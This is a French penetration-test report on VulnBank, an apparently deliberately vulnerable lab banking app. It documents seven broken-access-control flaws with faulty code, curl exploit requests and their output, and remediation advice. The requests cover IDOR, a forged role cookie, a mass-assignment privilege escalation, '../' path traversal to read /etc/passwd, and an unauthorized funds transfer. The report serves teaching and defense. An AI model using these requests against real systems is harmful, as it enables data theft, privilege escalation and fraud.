

Rapport de test d'intrusion — OWASP Top 10 2025

A01:2025 — Broken Access Control

Cible	VulnBank (application web de lab, <code>http://127.0.0.1:5000</code>)
Environnement	Conteneur Docker isolé <code>a01-vulnbank</code> (bind <code>127.0.0.1</code> uniquement)
Type d'évaluation	Boîte grise — lab pédagogique, autorisé
Catégorie OWASP	A01:2025 — Broken Access Control
Date	2026-06-29
Statut global	Critique — compromission totale de la confidentialité, intégrité et autorisation

1. Résumé exécutif

Le contrôle d'accès (Broken Access Control) reste **n°1 du Top 10 OWASP 2025**. Il regroupe toutes les failles où un utilisateur peut agir **hors des limites de permissions prévues** : lire/modifier des données d'autrui, accéder à des fonctions d'administration, ou contourner les vérifications d'autorisation.

L'application de lab **VulnBank** a été conçue pour illustrer **7 variantes distinctes** de cette catégorie. **Toutes ont été exploitées avec succès** depuis un compte utilisateur standard à privilèges minimales (`alice` , rôle `user`), aboutissant à :

- **Lecture** des comptes bancaires et données personnelles (SSN, IBAN) de tous les clients ;
- **Élévation de privilèges** vers le rôle `admin` (persistante en base) ;
- **Lecture de fichiers arbitraires** du serveur (`/etc/passwd` , secrets admin) ;
- **Vol de fonds** : virement de 9 000 000 depuis le coffre admin vers le compte de l'attaquant.

Verdict : un attaquant disposant d'un simple compte client peut prendre le contrôle complet de l'application et de ses données.

2. Périmètre & méthodologie

2.1 Environnement

```
a01-lab/  
└─ Dockerfile                # python:3.12-slim + Flask
```

```
├─ docker-compose.yml      # expose 127.0.0.1:5000 uniquement
├─ app/
│   ├── app.py              # application vulnérable (VulnBank)
│   ├── requirements.txt
│   └─ private_files/      # welcome.txt, admin_secrets.txt
├─ exploits/
│   └─ run_exploits.sh      # chaîne d'exploitation complète
├─ report/
│   ├── exploit_output.txt  # preuves brutes
│   └─ RAPPORT_A01_Broken_Access_Control.md
```

Lancement :

```
cd a01-lab && docker compose up -d --build
bash exploits/run_exploits.sh
```

2.2 Comptes de test

id	username	rôle	solde	données sensibles
1	alice	user	250.00	SSN 111-11-1111
2	bob	user	4 200.50	SSN 222-22-2222
3	admin	admin	9 999 999.00	coffre FR76-ADMIN-VAULT

L'attaquant ne dispose **que** du compte `alice` (privège le plus bas).

2.3 Référentiels

- OWASP Top 10:2025 — A01 Broken Access Control
- CWE-284 (Improper Access Control), CWE-285 (Improper Authorization), CWE-639 (IDOR/BOLA), CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization), CWE-915 (Mass Assignment), CWE-22 (Path Traversal)

3. Synthèse des vulnérabilités

#	Vulnérabilité	CWE	Endpoint	Sévérité (CVSS 3.1)
1	IDOR / BOLA — accès aux comptes d'autrui	CWE-639	GET /api/account/<id>	8.1 Élevé
2	Trust client-side du cookie de rôle	CWE-863	cookie role	9.1 Critique
3	Missing Function-Level Access Control	CWE-862	GET /api/admin/users	8.8 Élevé
4	Mass assignment → élévation de privilèges	CWE-915	POST /api/profile	9.8 Critique
5	Path traversal — lecture fichiers arbitraires	CWE-22	GET /api/download	9.1 Critique

#	Vulnérabilité	CWE	Endpoint	Sévérité (CVSS 3.1)
6	Forced browsing — endpoint non authentifié	CWE-862	GET /api/transactions/all	7.5 Élevé
7	IDOR sur action (virement) → vol de fonds	CWE-639	POST /api/transfer	9.8 Critique

4. Détail des vulnérabilités et exploitation

4.1 — IDOR / Broken Object Level Authorization (BOLA)

Endpoint : GET /api/account/<acc_id> **CWE-639** · CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Description

Le endpoint renvoie n'importe quel compte par son identifiant **sans vérifier que le compte appartient à l'utilisateur authentifié**. L'identifiant est un entier séquentiel, donc énumérable.

Code fautif

```
@app.route("/api/account/<int:acc_id>")
def get_account(acc_id):
    u = current_user()
    if not u: return jsonify({"error": "login required"}), 401
    acc = db().execute("SELECT * FROM accounts WHERE id=?", (acc_id,)).fetchone()
    return jsonify(dict(acc))    # x aucun check acc.user_id == u.id
```

Exploitation (alice, uid=1)

```
curl -b cookies http://127.0.0.1:5000/api/account/1002    # compte de bob
curl -b cookies http://127.0.0.1:5000/api/account/1003    # coffre admin
```

Preuve

```
// compte de BOB (non autorisé)
{"balance":4200.5,"iban":"FR76-BOB-0002","id":1002,"user_id":2}
// coffre ADMIN (non autorisé)
{"balance":9999999.0,"iban":"FR76-ADMIN-VAULT","id":1003,"user_id":3}
```

Remédiation

Vérifier la propriété de l'objet côté serveur : WHERE id=? AND user_id=? lié à la session, ou contrôle explicite if acc["user_id"] != u["id"]: return 403 . Utiliser des identifiants non devinables (UUID) en défense en profondeur.

4.2 & 4.3 — Cookie de rôle client-side + Missing Function-Level Access Control

Endpoint : GET /api/admin/users **CWE-863 / CWE-862** · CVSS 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)

Description

Au login, le serveur place le rôle dans un **cookie en clair non signé** (`role=user`). Le endpoint admin se contente de lire ce cookie. Comme le cookie est entièrement contrôlé par le client, il suffit de le réécrire en `role=admin` .

Code fautif

```
resp.set_cookie("role", u["role"])          # x secret côté client
...
if request.cookies.get("role") != "admin":    # x décision sur donnée client
    return jsonify({"error": "forbidden"}), 403
```

Exploitation

```
# refusé avec le vrai cookie
curl -b 'uid=1; role=user' /api/admin/users -> {"error":"forbidden"}
# accordé en forgeant le cookie
curl -b 'uid=1; role=admin' /api/admin/users -> dump complet
```

Preuve — dump de tous les utilisateurs (PII + SSN)

```
[{"email":"alice@bank.local","role":"user","ssn":"111-11-1111","username":"alice"},
{"email":"bob@bank.local","role":"user","ssn":"222-22-2222","username":"bob"},
{"email":"admin@bank.local","role":"admin","ssn":"999-99-9999","username":"admin"}]
```

Remédiation

Ne **jamais** dériver une décision d'autorisation d'une donnée fournie par le client. Stocker le rôle dans une **session serveur** (ou un JWT **signé et vérifié**). Appliquer un décorateur `@require_role("admin")` qui relit le rôle depuis la base, pas depuis le cookie.

4.4 — Mass assignment → élévation de privilèges persistante

Endpoint : POST /api/profile **CWE-915** · CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Description

La mise à jour de profil recopie aveuglément les champs du JSON, **y compris** `role` . Un utilisateur peut donc s'auto-attribuer `admin` . La promotion est **persistée en base** : au login suivant, le serveur lui-même délivre `role=admin` .

Code fautif

```
for k in ("email", "password", "role"): # x 'role' modifiable par l'utilisateur
    if k in data:
        fields.append(f"{k}=?"); vals.append(data[k])
```

Exploitation

```
curl -b cookies -X POST /api/profile \
-d '{"email":"alice@evil.local","role":"admin"}'
```

Preuve

```
// réponse immédiate : rôle déjà élevé
{"email":"alice@evil.local","id":1,"role":"admin","username":"alice"}
// re-login : le SERVEUR confirme désormais l'élévation
{"ok":true,"role":"admin","uid":1}
```

Après cette étape, `alice` est admin **légitimement** du point de vue de l'application — élévation durable, pas un simple contournement de cookie.

Remédiation

Whitelist stricte des champs modifiables par l'utilisateur (`email` , `password` uniquement). Ne jamais inclure `role` / `is_admin` / `user_id` dans un binding automatique. Séparer les DTO « entrée utilisateur » des entités persistées.

4.5 — Path traversal / Lecture de fichiers arbitraires

Endpoint : `GET /api/download?file=` **CWE-22** · CVSS 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H)

Description

Le nom de fichier fourni est concaténé au dossier de base sans normalisation ni whitelist. Les séquences `../` permettent de sortir du répertoire et de lire n'importe quel fichier lisible par le processus.

Code fautif

```
path = os.path.join(PRIVATE_DIR, fname) # x fname = "../../../etc/passwd"
open(path).read()
```

Exploitation & preuve

```
curl '/api/download?file=admin_secrets.txt'
# {"content":"ADMIN ONLY: master recovery key = MK-7731-AAAA-BBBB\n", ...}

curl '/api/download?file=../../../../etc/passwd'
# {"content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...", ...}
```

Remédiation

Whitelist d'identifiants logiques → noms de fichiers (jamais le nom brut). Sinon :

`os.path.realpath()` + vérifier que le chemin résolu reste **sous** le dossier autorisé. Exécuter le service avec un utilisateur non privilégié et un FS en lecture seule.

4.6 — Forced browsing (endpoint sensible non authentifié)

Endpoint : `GET /api/transactions/all` **CWE-862** · CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Description

Le endpoint listant **toutes** les transactions n'effectue **aucun** contrôle d'accès — accessible sans même être authentifié. « Caché mais accessible » n'est pas une protection.

Code fautif

```
@app.route("/api/transactions/all")
def all_tx():
    return jsonify([... toutes les transactions ...]) # x aucune authent
```

Preuve (aucun cookie)

```
[{"account_id":1001,"amount":-20.0,"note":"Coffee"},
{"account_id":1002,"amount":4200.5,"note":"Salary"},
{"account_id":1003,"amount":9999999.0,"note":"TOP SECRET vault funding"}]
```

Remédiation

Refuser par défaut (deny by default). Authentification obligatoire + filtrage des transactions sur l'utilisateur courant. Tests automatisés d'accès non authentifié sur chaque route.

4.7 — IDOR sur action sensible → vol de fonds

Endpoint : `POST /api/transfer` **CWE-639** · CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Description

Le compte source (`from_account`) n'est **pas** validé contre l'utilisateur authentifié. Alice peut donc débiter le coffre admin et créditer son propre compte.

Code fautif

```
src = data.get("from_account") # x pas de check src appartient à u
db().execute("UPDATE accounts SET balance=balance-? WHERE id=?", (amount, src))
db().execute("UPDATE accounts SET balance=balance+? WHERE id=?", (amount, dst))
```

Exploitation

```
curl -b alice -X POST /api/transfer \
-d '{"from_account":1003,"to_account":1001,"amount":9000000}'
```

Preuve

```
Coffre admin avant : balance 9 999 999.00
Coffre admin après : balance 999 999.00 (-9 000 000)
Compte alice après : balance 9 000 250.00 (+9 000 000)
```

Impact financier direct : transfert non autorisé de 9 M depuis un compte tiers.

Remédiation

Vérifier `from_account.user_id == session.user_id` côté serveur. Valider montant > 0 et solde suffisant. Journaliser et alerter sur les virements sortants. Idempotence + anti-rejeu.

5. Chaîne d'attaque consolidée

```
[ alice : user, 250€ ]
| (4.1 IDOR) — lecture comptes bob + coffre admin
| (4.6 forced browsing) — lecture de toutes les transactions
| (4.5 path traversal) — /etc/passwd + clé de récupération admin
| (4.2 cookie tamper) — dump utilisateurs + SSN
| (4.4 mass assignment) — auto-promotion ADMIN persistante
| (4.7 IDOR transfer) — vol de 9 000 000 depuis le coffre
▼
[ alice : ADMIN, 9 000 250€ ] — compromission totale
```

Un seul compte à privilèges minimales suffit à compromettre **confidentialité, intégrité et autorisation** de l'ensemble du système.

6. Recommandations transverses (priorisées)

Priorité	Recommandation
P0	Deny by default : toute route exige authentification + autorisation explicites.
P0	Décisions d'autorisation uniquement côté serveur , depuis une session/JWT signé — jamais depuis un champ client (cookie, body, header).
P0	Contrôle de propriété systématique sur chaque accès objet (IDOR/BOLA) : <code>resource.owner == current_user</code> .
P1	Whitelist des champs modifiables (anti mass-assignment) ; isoler les attributs sensibles (<code>role</code> , <code>is_admin</code>).
P1	Path canonicalization + whitelist pour tout accès fichier ; service en utilisateur non-root, FS read-only.

Priorité	Recommandation
P1	Modèle RBAC/ABAC centralisé (décorateurs/middleware) plutôt que des <code>if</code> dispersés.
P2	Identifiants non devinables (UUID) en défense en profondeur.
P2	Journalisation + alerting des échecs d'autorisation et des actions sensibles (virements).
P2	Tests automatisés d'autorisation dans la CI : pour chaque route, vérifier l'accès anonyme, horizontal et vertical.

7. Conclusion

Les 7 variantes de **Broken Access Control** présentes dans VulnBank ont été **exploitées avec succès** depuis un compte à privilèges minimales, sans aucune faille d'injection ni dépendance externe — uniquement des **défauts de logique d'autorisation**. Cela illustre pourquoi A01 reste en tête du Top 10 OWASP 2025 : ces failles sont fréquentes, souvent invisibles aux scanners automatiques, et leur impact est maximal.

Le principe directeur à retenir : **l'autorisation est une décision serveur, par défaut refusée, vérifiée à chaque objet et à chaque action.**

Lab isolé — bind `127.0.0.1` uniquement. Détruire après usage : `docker compose down --rm` `local`.